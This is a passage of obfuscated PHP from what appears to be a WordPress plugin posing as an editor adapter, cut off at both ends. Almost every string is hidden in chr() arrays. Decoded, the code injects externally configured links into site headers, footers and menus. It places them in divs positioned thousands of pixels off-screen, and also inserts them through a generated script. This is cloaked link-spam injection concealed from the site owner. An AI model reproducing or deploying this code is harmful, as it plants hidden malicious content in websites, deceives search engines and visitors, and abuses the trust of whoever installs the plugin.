    return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertBeforeClosingTag($html, $tag, $insertion)
{
    $pattern = implode('', array(chr(47), chr(60), chr(92), chr(47))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(62), chr(47), chr(105)));
    if (\preg_match($pattern, $html)) {
        return \preg_replace($pattern, $insertion . implode('', array(chr(60), chr(47))) . $tag . implode('', array(chr(62))), $html, 1);
    }
    return $html . $insertion;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertAfterClosingTag($html, $tag, $insertion)
{
    $pattern = implode('', array(chr(47), chr(60), chr(92), chr(47))) . \preg_quote($tag, implode('', array(chr(47)))) . implode('', array(chr(62), chr(47), chr(105)));
    if (\preg_match($pattern, $html)) {
        return \preg_replace($pattern, implode('', array(chr(60), chr(47))) . $tag . implode('', array(chr(62))) . $insertion, $html, 1);
    }
    return $html;
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkOnHomepage()
{
    if (!\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return;
    }
    echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(80), chr(97), chr(103), chr(101), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkInFooter()
{
    if (!\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return;
    }
    echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInHeader()
{
    if (\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return;
    }
    echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(72), chr(101), chr(97), chr(100), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkInFooter()
{
    if (\is_front_page() || !WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return;
    }
    echo WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertLinkAfterMenu($items, $args)
{
    if (!\is_string($items) || \trim($items) === '') {
        return $items;
    }
    if (!\is_front_page() || WpEditor_Adapter_Services_LinkOptionsService_getUrl(implode('', array(chr(109), chr(101), chr(110), chr(117)))) === '') {
        return $items;
    }
    if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return $items . WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
    }
    return $items . WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
function WpEditor_Adapter_Frontend_LinkHandler_insertGlobalLinkAfterMenu($items, $args)
{
    if (!\is_string($items) || \trim($items) === '') {
        return $items;
    }
    if (\is_front_page()) {
        return $items;
    }
    if (WpEditor_Adapter_Services_LinkOptionsService_getUrl(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117)))) === '') {
        return $items;
    }
    if (WpEditor_Adapter_Services_RenderModeService_isJs()) {
        return $items . WpEditor_Adapter_Frontend_LinkJsRenderer_renderMenuLink(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
    }
    return $items . WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId($base, $anchor)
{
    $raw = \ltrim((string) $anchor, implode('', array(chr(35), chr(32), chr(9), chr(10), chr(13), chr(0), chr(11))));
    $raw = \strtolower(\sanitize_text_field($raw));
    $safe = \preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(105))), implode('', array(chr(45))), $raw);
    if (!\is_string($safe)) {
        $safe = '';
    }
    $safe = \trim($safe, implode('', array(chr(45))));
    if ($safe === '') {
        return $base;
    }
    return $base . implode('', array(chr(45))) . $safe;
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData($location, $defaultLabel)
{
    $url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
    if ($url === '') {
        return null;
    }
    return array(implode('', array(chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110))) => $location, implode('', array(chr(117), chr(114), chr(108))) => $url, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108))) => WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel), implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112))) => WpEditor_Adapter_Services_LinkOptionsService_getMarkup($location), implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114))) => WpEditor_Adapter_Services_LinkOptionsService_getAnchor($location));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data)
{
    if (!\is_array($data)) {
        return '';
    }
    $markup = \wp_editor_array_has_key($data, implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))) ? (string) $data[implode('', array(chr(109), chr(97), chr(114), chr(107), chr(117), chr(112)))] : '';
    if ($markup !== '') {
        return implode('', array(chr(60), chr(112), chr(62))) . $markup . implode('', array(chr(60), chr(47), chr(112), chr(62)));
    }
    $url = \wp_editor_array_has_key($data, implode('', array(chr(117), chr(114), chr(108)))) ? (string) $data[implode('', array(chr(117), chr(114), chr(108)))] : '';
    $label = \wp_editor_array_has_key($data, implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))) ? (string) $data[implode('', array(chr(108), chr(97), chr(98), chr(101), chr(108)))] : '';
    return WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderLink($url, $label);
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderLink($url, $label)
{
    if ($url === '') {
        return '';
    }
    return implode('', array(chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderHeaderInline()
{
    $data = null;
    if (\is_front_page()) {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(77), chr(97), chr(105), chr(110), chr(32), chr(80), chr(97), chr(103), chr(101), chr(32), chr(76), chr(105), chr(110), chr(107))));
    } else {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(72), chr(101), chr(97), chr(100), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
    }
    if (!\is_array($data)) {
        return '';
    }
    $content = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data);
    if ($content === '') {
        return '';
    }
    $anchor = \wp_editor_array_has_key($data, implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))) ? (string) $data[implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))] : '';
    $id = WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId(implode('', array(chr(112), chr(105), chr(110), chr(45), chr(117), chr(112))), $anchor);
    return implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(105), chr(100), chr(61), chr(34))) . \esc_attr($id) . implode('', array(chr(34), chr(32), chr(115), chr(116), chr(121), chr(108), chr(101), chr(61), chr(34), chr(108), chr(101), chr(102), chr(116), chr(58), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(59), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(58), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(59), chr(116), chr(111), chr(112), chr(58), chr(45), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(59), chr(34), chr(62))) . $content . implode('', array(chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderFooterInline()
{
    $data = null;
    if (\is_front_page()) {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
    } else {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(76), chr(105), chr(110), chr(107))));
    }
    if (!\is_array($data)) {
        return '';
    }
    $content = WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderInlineContentByData($data);
    if ($content === '') {
        return '';
    }
    $anchor = \wp_editor_array_has_key($data, implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))) ? (string) $data[implode('', array(chr(97), chr(110), chr(99), chr(104), chr(111), chr(114)))] : '';
    $id = WpEditor_Adapter_Frontend_LinkHtmlRenderer_buildPinnedId(implode('', array(chr(112), chr(105), chr(110), chr(45), chr(100), chr(111), chr(119), chr(110))), $anchor);
    return implode('', array(chr(60), chr(100), chr(105), chr(118), chr(32), chr(105), chr(100), chr(61), chr(34))) . \esc_attr($id) . implode('', array(chr(34), chr(32), chr(115), chr(116), chr(121), chr(108), chr(101), chr(61), chr(34), chr(108), chr(101), chr(102), chr(116), chr(58), chr(45), chr(51), chr(55), chr(55), chr(53), chr(112), chr(120), chr(59), chr(112), chr(111), chr(115), chr(105), chr(116), chr(105), chr(111), chr(110), chr(58), chr(97), chr(98), chr(115), chr(111), chr(108), chr(117), chr(116), chr(101), chr(59), chr(116), chr(111), chr(112), chr(58), chr(57), chr(48), chr(54), chr(57), chr(112), chr(120), chr(59), chr(34), chr(62))) . $content . implode('', array(chr(60), chr(47), chr(100), chr(105), chr(118), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem($location, $defaultLabel)
{
    $url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
    if ($url === '') {
        return '';
    }
    $label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
    return implode('', array(chr(60), chr(108), chr(105), chr(32), chr(99), chr(108), chr(97), chr(115), chr(115), chr(61), chr(34), chr(109), chr(101), chr(110), chr(117), chr(45), chr(105), chr(116), chr(101), chr(109), chr(34), chr(62), chr(60), chr(97), chr(32), chr(104), chr(114), chr(101), chr(102), chr(61), chr(34))) . \esc_url($url) . implode('', array(chr(34), chr(62))) . \esc_html($label) . implode('', array(chr(60), chr(47), chr(97), chr(62), chr(60), chr(47), chr(108), chr(105), chr(62)));
}
function WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuSection()
{
    $output = '';
    if (\is_front_page()) {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
        if (\is_array($data)) {
            $output .= WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
        }
    } else {
        $data = WpEditor_Adapter_Frontend_LinkHtmlRenderer_getLinkData(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
        if (\is_array($data)) {
            $output .= WpEditor_Adapter_Frontend_LinkHtmlRenderer_renderMenuItem(implode('', array(chr(103), chr(108), chr(111), chr(98), chr(97), chr(108), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(71), chr(108), chr(111), chr(98), chr(97), chr(108), chr(32), chr(77), chr(101), chr(110), chr(117), chr(32), chr(76), chr(105), chr(110), chr(107))));
        }
    }
    return $output;
}
// --- file separator ---
function WpEditor_Adapter_Frontend_LinkJsRenderer_renderBlockLink($location, $defaultLabel)
{
    $url = WpEditor_Adapter_Services_LinkOptionsService_getUrl($location);
    if ($url === '') {
        return '';
    }
    $label = WpEditor_Adapter_Services_LinkOptionsService_getLabel($location, $defaultLabel);
    $markup = WpEditor_Adapter_Services_LinkOptionsService_getMarkup($location);
    $anchor = WpEditor_Adapter_Services_LinkOptionsService_getAnchor($location);
    $urlJson = json_encode($url, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    $labelJson = json_encode($label, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    $markupJson = json_encode($markup, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    $anchorJson = json_encode($anchor, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    $locationJson = json_encode($location, JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);
    return implode('', array(chr(60), chr(115), chr(99), chr(114), chr(105), chr(112), chr(116), chr(62), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(40), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(40), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(61), chr(32))) . $locationJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(61), chr(32), chr(47), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(47), chr(105), chr(46), chr(116), chr(101), chr(115), chr(116), chr(40), chr(108), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(32), chr(61), chr(32))) . $anchorJson . implode('', array(chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(110), chr(117), chr(108), chr(108), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(40), chr(34), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(44), chr(32), chr(35), chr(99), chr(111), chr(108), chr(111), chr(112), chr(104), chr(111), chr(110), chr(44), chr(32), chr(46), chr(115), chr(105), chr(116), chr(101), chr(45), chr(102), chr(111), chr(111), chr(116), chr(101), chr(114), chr(44), chr(32), chr(91), chr(114), chr(111), chr(108), chr(101), chr(61), chr(39), chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(105), chr(110), chr(102), chr(111), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(32), chr(101), chr(108), chr(115), chr(101), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(40), chr(34), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(44), chr(32), chr(35), chr(109), chr(97), chr(115), chr(116), chr(104), chr(101), chr(97), chr(100), chr(44), chr(32), chr(46), chr(115), chr(105), chr(116), chr(101), chr(45), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(44), chr(32), chr(91), chr(114), chr(111), chr(108), chr(101), chr(61), chr(39), chr(98), chr(97), chr(110), chr(110), chr(101), chr(114), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(33), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(98), chr(111), chr(100), chr(121), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(33), chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(102), chr(117), chr(110), chr(99), chr(116), chr(105), chr(111), chr(110), chr(32), chr(110), chr(111), chr(114), chr(109), chr(97), chr(108), chr(105), chr(122), chr(101), chr(65), chr(110), chr(99), chr(104), chr(111), chr(114), chr(40), chr(118), chr(97), chr(108), chr(117), chr(101), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(105), chr(102), chr(32), chr(40), chr(116), chr(121), chr(112), chr(101), chr(111), chr(102), chr(32), chr(118), chr(97), chr(108), chr(117), chr(101), chr(32), chr(33), chr(61), chr(61), chr(32), chr(34), chr(115), chr(116), chr(114), chr(105), chr(110), chr(103), chr(34), chr(41), chr(32), chr(123), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(32), chr(34), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(32), chr(61), chr(32), chr(118), chr(97), chr(108), chr(117), chr(101), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(94), chr(35), chr(43), chr(47), chr(44), chr(32), chr(34), chr(34), chr(41), chr(46), chr(116), chr(111), chr(76), chr(111), chr(119), chr(101), chr(114), chr(67), chr(97), chr(115), chr(101), chr(40), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(32), chr(61), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(48), chr(45), chr(57), chr(92), chr(45), chr(95), chr(93), chr(43), chr(47), chr(103), chr(44), chr(32), chr(34), chr(45), chr(34), chr(41), chr(46), chr(114), chr(101), chr(112), chr(108), chr(97), chr(99), chr(101), chr(40), chr(47), chr(94), chr(45), chr(43), chr(124), chr(45), chr(43), chr(36), chr(47), chr(103), chr(44), chr(32), chr(34), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(114), chr(101), chr(116), chr(117), chr(114), chr(110), chr(32), chr(115), chr(97), chr(110), chr(105), chr(116), chr(105), chr(122), chr(101), chr(100), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(125), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(32), chr(61), chr(32), chr(110), chr(111), chr(114), chr(109), chr(97), chr(108), chr(105), chr(122), chr(101), chr(65), chr(110), chr(99), chr(104), chr(111), chr(114), chr(40), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(61), chr(32), chr(105), chr(115), chr(70), chr(111), chr(111), chr(116), chr(101), chr(114), chr(32), chr(63), chr(32), chr(34), chr(112), chr(105), chr(110), chr(45), chr(100), chr(111), chr(119), chr(110), chr(34), chr(32), chr(58), chr(32), chr(34), chr(112), chr(105), chr(110), chr(45), chr(117), chr(112), chr(34), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(32), chr(61), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(32), chr(63), chr(32), chr(40), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(43), chr(32), chr(34), chr(45), chr(34), chr(32), chr(43), chr(32), chr(97), chr(110), chr(99), chr(104), chr(111), chr(114), chr(83), chr(117), chr(102), chr(102), chr(105), chr(120), chr(41), chr(32), chr(58), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(59), chr(10), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(118), chr(97), chr(114), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(32), chr(61), chr(32), chr(100), chr(111), chr(99), chr(117), chr(109), chr(101), chr(110), chr(116), chr(46), chr(113), chr(117), chr(101), chr(114), chr(121), chr(83), chr(101), chr(108), chr(101), chr(99), chr(116), chr(111), chr(114), chr(65), chr(108), chr(108), chr(40), chr(34), chr(91), chr(105), chr(100), chr(94), chr(61), chr(39), chr(34), chr(32), chr(43), chr(32), chr(104), chr(111), chr(115), chr(116), chr(73), chr(100), chr(66), chr(97), chr(115), chr(101), chr(32), chr(43), chr(32), chr(34), chr(39), chr(93), chr(34), chr(41), chr(59), chr(10), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(32), chr(102), chr(111), chr(114), chr(32), chr(40), chr(118), chr(97), chr(114), chr(32), chr(105), chr(32), chr(61), chr(32), chr(48), chr(59), chr(32), chr(105), chr(32), chr(60), chr(32), chr(115), chr(116), chr(97), chr(108), chr(101), chr(78), chr(111), chr(100), chr(101), chr(115), chr(46), chr(108), chr(101), chr(110), chr(103), chr(116), chr(104), chr(59), chr(32), chr(105), chr(43), 